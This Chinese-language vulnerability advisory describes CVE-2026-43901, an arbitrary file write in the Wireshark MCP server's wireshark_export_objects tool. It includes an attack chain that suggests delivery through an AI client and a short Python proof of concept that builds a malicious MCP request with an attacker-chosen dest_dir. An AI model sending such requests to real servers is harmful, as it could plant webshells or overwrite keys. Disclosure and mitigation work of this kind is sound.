IPBUF安全漏洞报告
English
CVE-2026-43901 CVSS 6.8 中危

CVE-2026-43901 Wireshark MCP 任意文件写入漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43901
漏洞类型
任意文件写入
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Wireshark MCP

相关标签

任意文件写入路径遍历Wireshark MCPCVE-2026-43901RCE

漏洞概述

Wireshark MCP是一个将tshark转换为结构化分析接口的服务。在1.1.5及更早版本中,该组件存在一个严重的安全漏洞。具体而言,`wireshark_export_objects`工具接受用户控制的`dest_dir`参数,并将其直接传递给tshark的`--export-objects`标志,且没有任何强制性的路径限制。在默认安装配置下,路径沙箱(`_allowed_dirs`)为None,只有当显式设置环境变量`WIRESHARK_MCP_ALLOWED_DIRS`时才会激活。这意味着攻击者可以将导出对象写入文件系统上的任意目录,从而造成严重的安全风险。该漏洞利用需要用户交互,但成功利用后可能导致高机密性和完整性影响。

技术细节

该漏洞的核心在于Wireshark MCP服务器在处理文件导出请求时未能正确实施访问控制。Wireshark MCP作为一个模型上下文协议(MCP)服务器,封装了tshark的功能。在1.1.5及之前版本中,`wireshark_export_objects`工具被设计用于从数据包文件中提取文件对象(如HTTP传输的文件等)。该工具接收一个`dest_dir`参数,该参数直接决定了导出文件的存储位置。

代码中虽然定义了`_allowed_dirs`变量作为路径沙箱,旨在限制导出操作只能在特定目录下进行,但在默认初始化时,该变量被设置为`None`。只有当管理员显式配置并设置了`WIRESHARK_MCP_ALLOWED_DIRS`环境变量时,该沙箱才会生效。在默认安装情况下,由于缺乏环境变量配置,沙箱机制处于失效状态。

攻击者利用这一逻辑缺陷,可以将`dest_dir`参数指定为文件系统上的任意路径(例如`/root/.ssh/`、`C:/Windows/Startup/`或Web服务器的根目录)。随后,通过调用该MCP工具,tshark进程会将提取的数据写入该指定路径。虽然CVSS向量显示攻击复杂度为高(AC:H)且需要用户交互(UI:R),但一旦利用成功,攻击者即可实现任意文件写入。这不仅可能导致敏感信息泄露(通过将提取的文件写入公开目录),更严重的是,通过覆盖关键系统配置文件或写入恶意脚本到自启动目录,攻击者可能进一步提升权限,在目标系统上执行任意代码,从而完全破坏系统的机密性和完整性。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标正在运行未配置环境变量WIRESHARK_MCP_ALLOWED_DIRS的Wireshark MCP服务器(版本 <= 1.1.5)。
STEP 2
步骤2:武器化
攻击者准备一个包含特定数据流的PCAP文件(如果需要提取特定内容),并构造一个包含恶意`dest_dir`参数的MCP工具调用请求,该参数指向敏感目录(如系统根目录或Web根目录)。
STEP 3
步骤3:交付与利用
通过诱导用户或通过集成的AI客户端向MCP服务器发送构造好的请求。服务器接收请求,直接将`dest_dir`传递给tshark命令。
STEP 4
步骤4:影响达成
tshark执行并将提取的文件写入攻击者指定的任意路径。攻击者可能利用此操作覆盖关键配置文件、写入Webshell或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json """ Conceptual Proof of Concept (PoC) for CVE-2026-43901 This script demonstrates how a malicious actor could craft an MCP request to exploit the arbitrary file write vulnerability in Wireshark MCP <= 1.1.5. """ def create_malicious_mcp_request(pcap_path, malicious_destination): """ Constructs a JSON-RPC request for the wireshark_export_objects tool. Args: pcap_path (str): Path to a valid pcap file on the server or accessible by the server. malicious_destination (str): The arbitrary directory path where the attacker wants to write files. e.g., '../../../tmp/' or 'C:\Windows\Temp' """ # The tool name vulnerable in CVE-2026-43901 tool_name = "wireshark_export_objects" # Arguments passed to the tool # 'dest_dir' is the vulnerable parameter arguments = { "pcap_file": pcap_path, "dest_dir": malicious_destination, "protocol": "http" # specific protocol to export, e.g., http, smb, etc. } # Standard MCP (Model Context Protocol) JSON-RPC structure payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": tool_name, "arguments": arguments }, "id": 1 } return json.dumps(payload, indent=2) if __name__ == "__main__": # Example Scenario: # An attacker wants to write exported objects to a sensitive directory. # Note: In a real attack, the attacker would need a way to trigger the MCP client # to send this request to the server. target_pcap = "/var/log/capture.pcap" # Using absolute path or traversal to write outside intended sandbox attack_dir = "/tmp/pwned/" exploit_request = create_malicious_mcp_request(target_pcap, attack_dir) print("Generated Malicious MCP Request Payload:") print(exploit_request) print("\n[!] If the server processes this, files will be written to:", attack_dir)

影响范围

Wireshark MCP <= 1.1.5

防御指南

临时缓解措施
在无法立即升级的情况下,管理员必须强制设置环境变量 `WIRESHARK_MCP_ALLOWED_DIRS`,指定一个严格的、隔离的目录路径作为唯一的导出目的地,从而激活路径沙箱机制,防止文件被写入系统任意位置。

参考链接